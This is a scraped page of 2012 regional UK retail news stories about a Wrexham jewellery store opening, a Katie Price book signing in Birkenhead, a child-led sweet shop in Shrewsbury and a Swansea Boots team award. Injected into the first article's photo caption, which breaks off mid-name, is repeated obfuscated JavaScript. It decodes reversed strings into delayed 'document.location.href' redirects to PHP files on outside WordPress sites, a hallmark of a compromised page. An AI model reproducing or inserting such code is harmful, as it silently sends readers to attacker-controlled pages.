Category: News

TV stars shine at gem of a store

Official opening of Mococo at eagles Meadow, Wrexham. Maureen Hooson with stars of Desperate Scouswives, from left, Chloe Cummings, Jaiden Michael and Amanda Harring$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton.

A clutch of glamorous TV stars and a former international footballer sparkled at a champagne event to launch a new jewellery store in Wrexham.

Cast members from the hit show Desperate Scousewives, Coronation Street star Ian Puleston-Davies and ex-Wales, Everton and Wrexham player Barry Horne added glitz to the official opening of Mococo at Eagles Meadow.

From a humble start around the kitchen table of their home in Northop, Flintshire,  diamond couple Maureen and Lee Hooson have rapidly developed their company, Mococo, over the past six years to the point where it has become one of the most important players in the business.

Since Mococo was started with just £250 of Maureen’s savings in 2006 it has opened five high street shops in Ruthin, Mold, Chester, Liverpool and Tarporley – and the sixth is already proving a big hit with shoppers in Eagles Meadow after another significant investment on the Hoosons’ part.

Their jewellery is worn by the likes of Christine Aguilera, Cheryl Cole, Holly Willoughby – and, of course the Desperate Scouswives who were represented by Amanda Harrington, Chloe Cummings and Jaiden Michael.

Amid popping champagne corks, the occasion was given the real wow factor when star Ian Puleston-Davies, who plays Owen Armstrong in Corrie, pulled up outside Mococo at the wheel  of an Aston Martin supercar.

A friend of Lee Hooson from Flint, from where they both grew up, Ian stepped out of the car to say: “I’m delighted to be here tonight because I’m very proud of Lee and Maureen and what they have achieved by setting up such a successful new business despite the recession.

“I am also very impressed with Eagles Meadow which is a real jewel in the crown of Wrexham.”

Maureen Hooson used her original £250 investment to buy a small range of gems which she sold to friends at jewellery parties and things grew from there.

With husband Lee taking care of the business side of things, Maureen concentrated on making her own jewellery and buying in prestige brands such as Baccarat and Thomas Sabo.

All of items, including rings, bracelets, earrings and necklaces are attractively displayed in the new Wrexham  store.

Also getting the red carpet treatment on opening night were three stunning members of the cast of E4 reality TV show Desperate Scousewives, Amanda Harrington, Chloe Cummings and Jaiden Michael.

Soccer star Barry Horne said:: “It’s great to see such a prestigious new shop like this opening in Eagles Meadow, which is fast becoming the place for people to shop in Wrexham.

“Growing their business to this point in the face of a recession is a fantastic achievement by Lee and Maureen and I wish them even more success with this latest venture.”

Barry, who turned out for Wrexham between 1984 and 1987, was invited to take a place on the club’s new board after it recently came under the ownership of its supporters.

Of the Reds’  re-birth he said: “We’ve managed to generate some income and had a good FA Cup run, so things now look a lot more promising for the future.”

Proudly welcoming guests to the new Mococo was Lee Hooson who said: “I’d like to thank Barry and everyone else for coming along to make this a very special evening for Maureen and myself.

“We chose to open our sixth store in Eagles Meadow, and create five new staff jobs, because it is a popular and prestigious place and so easy to access with the car park right next to the shopping area.

“I know Wrexham shoppers will warm to us and we have already had some very favourable comments.

“The other day, I overheard one young lady say as she was looking in our window at various pieces of jewellery, ‘Oh my goodness, I didn’t realise you could get all those in Wrexham!’ and I think that says it all.”

Wife Maureen agreed, saying: “We definitely have a good feeling about Eagles Meadow.

“A lot of people have told me that Mococo is exactly what Wrexham needs and I think we fit very well into the general mix of high class shops within Eagles Meadow. We are delighted to be here.”

Eagles Meadow Manager Kevin Critchley was delighted to welcome Mococo to the busy shopping centre that’s welcomed a hat-trick of three new tenants already this year.

He said: “Mococo is a brilliant addition to our fantastic range of shops and underlines our growing reputation as the fashion capital of North Wales.”

Monday June 25th, 2012

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Katie Price’s Birkenhead book signing

Katie's Boutique 2 web 1

TABLOID superstar and ex glamour model Katie Price is visiting Birkenhead to personally sign copies of her brand new novel.

A huge crowd of fans are expected at WH Smith in The Grange and Pyramids Shopping Centre on Sunday June 24 to welcome the top celebrity and businesswoman to the town.

Speaking about her trip to the Wirral, Katie said: “I’m really looking forward to my visit to Birkenhead. I haven’t been before but I’m told it’s a lively town so I can’t wait to see it for myself.

“I love my signings as it’s always such fun meeting my fans.”

Derek Millar, Commercial Director for The Grange and Pyramids Shopping Centre, said it was a terrific coup for the centre to be welcoming such a high profile and popular celebrity.

He added: “I must congratulate WH Smith on securing such a top name as Katie Price and I know there will be lots of local fans out there who will be very excited to meet her.

“It is because we have big name retailers like WH Smith at the centre that we are able to stage exciting events such as this one and I think her arrival will create a real buzz in the town.”

Darren Brockbank, store manager of WH Smith, agreed with Derek and added: “We are all really excited in the store about hosting this event and bringing Katie Price to Birkenhead.

“Everyone knows who she is – she is such a big celebrity and I am very grateful to both her team and WH Smith for making this opportunity possible.”

Katie, formerly known as Jordan, has sold close to five million copies of her books worldwide and In The Name of Love is her eighth novel.

She has called on her knowledge of the equestrian world to inspire her this time in a story which revolves around the character of Charlie, a feisty sports presenter.

She falls for the irresistibly handsome Felipe Castillo, a brilliant rider who is the lynchpin of the Spanish eventing team and tipped for a medal in the 2012 Olympics.

But Felipe walks away from their passionate affair without explanation and it is only then that Charlie discovers Felipe is one of Spain’s top riders and related to royalty.

She soon realises that their romance does not please everyone including his disapproving mother and the couple soon find they have a lot to overcome if their relationship is to survive.

Katie writes all of her books, including her autobiographies, in partnership with Rebecca Farnworth.

Katie, a mum-of-three and star of her own reality show, said: “Real teamwork goes into the writing of my books and for the novels Rebecca and I have such fun working out the storylines together.

“It’s was really great writing In The Name Of Love with her as it has a strong horsey theme and I loved putting my love and knowledge of the equestrian world into the storyline.”

Katie Price will be signing copies of her new book at WH Smith in The Grange and Pyramids Shopping Centre in Birkenhead on Sunday June 24 from 12pm.

For more information go to www.grangeandpyramids.co.uk 

Friday June 22nd, 2012

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Mollie’s sweet shop empire

Mollies sweet shop at the Darwin centre , Shrewsbury. Pictured is Mollie Price.

The brains behind a new sweet shop in Shrewsbury thinks running a business is child’s play – and at just six years of age little Mollie Price is the UK’s youngest entrepreneur.

Mollie’s mum, Becky Price, has opened the third branch of Mollie’s, a modern sweetshop selling traditional British sweets and American candy, in the town’s Pride Hill Shopping Centre.

And according to Becky, the shop is organised and stocked to her daughter’s strict instructions – as are her Welshpool and Newtown stores.

Becky said: “It might sound crazy but believe me Mollie is the real brains behind the operation. She dictates what we sell and is up at 5am every Sunday ready to go to our wholesale suppliers in Birmingham to restock.

“Once there she very carefully chooses what we buy and what we should and should not stock. She really is very particular. And it seems to work as we have been incredibly busy since opening our latest store in Pride Hill.

“However, we have a prime location and chose Pride Hill because it’s incredibly vibrant and always busy. And of course we have the benefit of seven day trading which is a huge help to a business such as ours.”

But Becky says she always listens to her daughter’s advice when it comes to running he sweetshops.

She said: “Mollie has always loved sweetshops whether it’s drawing colourful pictures of shops stocked to the rafters with sweets of all colours or watching films such as Charlie and the Chocolate Factory, which is her all-time favourite.

“And she has some wonderful ideas. For instance, we have two large tin soldiers standing guard at the entrance to our Pride Hill shop which she insisted are called Alfie and George after her two brothers.

“She also came up with the idea of a temperature chart on the wall in Pride Hill so if it’s really cold we sell our Mr Whippy ice creams cheaper than when it’s hot outside. For someone so young I believe that really shows a marvellous business brain.”

And Becky says she has plans to introduce more American candy and a candy floss machine into the Pride Hill store in the near future.

She said: “Mollie loved it when we went on holiday to America and came back full of ideas of selling candy back home. That’s why we already stock more than 50 flavours of Jelly Belly beans.

“And Mollie now wants us to have an M&M’s colour coded section which is something we are going to do. We have also installed a Slush bar and the latest Mr Whippy machine which automatically pipes on different flavoured sauces.

“Nothing is done in any of the shops without consulting Mollie. And, believe me, if she doesn’t think an idea will work she has no hesitation in telling you so.

“I suppose, by listening to Mollie what we are doing is ensuring our shops appeal to all ages.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “In retail the trick is to know what your customers want and to provide it for them and thanks to Mollie they’ve got a real inside track to what children like in a sweetshop.

“And it is great to see an old-fashioned sweet shop like this doing so well with so many of the old favourite sweets still as popular as ever – there’s a been a real buzz at the store ever since it opened.”

And Becky says the Pride Hill shop has created four new part time jobs with the promise of more on the horizon.

She said: “I opened the first branch of Mollies in Welshpool where we live in November 2010 and followed that up by opening the second branch in Newtown a year later.

“We opened the doors to the Pride Hill store in May this year and, although I want to take my time, I will be looking at other potential sites in the future.

“I am currently running the Shrewsbury store myself but will need a full-time manager when we are ready to open a fourth branch of Mollie’s.

“However, that’s in the future and I am just delighted at how well our Pride Hill branch has been received by Shrewsbury shoppers and visitors. It has been incredibly busy right from day one.

“It’s been fantastic and I am absolutely delighted with how it’s gone so far. And I know Mollie is pretty thrilled too.”

Mollie, who attends Buttington Primary School in Welshpool, says she wants to help run her sweetshops when she’s older.

She said: “I really love sweetshops and I like seeing them all colourful and everyone really happy.

“Children have the best ideas. I tell my mum what I think and she always says I have good ideas. It’s just that I know what other children like.”

Tuesday June 12th, 2012

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Number Seven girls are number one

Boots No.7 UK Winners 300512

The Number Seven team at Boots in Swansea’s busy Quadrant Centre are Number One in the UK.

The five women who work at the city’s flagship store have scooped one of the top prizes at Britain’s biggest chemist’s own national awards night.

A delighted Natalie Howell, who heads up the team responsible for Boot’s own Number Seven cosmetics range at the store, said: “It’s not only Swansea City who are playing in the Premier
League, we’re there too.”

Natalie was joined by colleagues Sue Davies, Elina Jones, Carol Strawbridge and Fern Harrison at the glittering awards event in Telford.

They already knew they had won the Wales and West Regional award but didn’t expect to come out on top against major stores from around the country with their huge teams.

Natalie, from Penclawdd, Swansea, who has been with Boot’s in the city for 27 years, added: “Between the football and everything in the city there’s a real buzz about the place and this is a big honour for us, it’s like winning the Premier League.

“We were so pleased when we knew we were going to the national awards for the UK and Ireland in Telford but we didn’t really expect to win when you’re up against the big stores from Manchester and Birmingham.

“I’m the business manager and there are five of us, aged from 24 to 59 and we just click and work well together and the Quadrant is a lovely place to work, very beautiful and convenient and really part of the community.

“At Boots there we’re really all part of a big team and as Number Seven is Boots own brand we’re really committed to it and to our customers and we get tremendous support from Karen Gallagher who is our Sales Manager in the Quadrant store.”

Karen added: “The whole store is so happy for them because it’s the first time we’ve won something like this. Natalie’s team have done brilliantly.

“Customer service is what we’re all about. It’s all to do with making our customers feel so very, very
special and that’s what they do.”

Ian Kirkpatrick, Manager of the Quadrant Shopping Centre, said: “Boots is such a big concern with stores in every town and city in the UK and Ireland so to come out on top at an awards event for the whole group is brilliant.

“It is a real feather in their caps and it helps put Swansea and the Quadrant Centre firmly on the map.”

The event at the Telford Conference Centre lasted the full day with over 3,000 attending and there was a champagne reception in  the evening ahead of the awards ceremony with the Number Seven category third up on the programme.

Natalie, a mum of two children, Tom, 14, and Nia, 12, said: “It was a bit nerve-racking but we really enjoyed the day and when they announced us it was one of the best experiences not just of my working life but of my whole life.

“When we came back to the store it was wonderful because there were banners outside and champagne and party poppers. It was an honour for us and the store.

“We’re not commission based so we just try and do the best we can for our customers and they are very loyal to us as well.

“One gentleman comes here from Cardiff every few months and stocks up here because he likes the service he gets and he feels comfortable.

“When people spend money they want to feel special and that’s what we try to do.”

Tuesday June 12th, 2012

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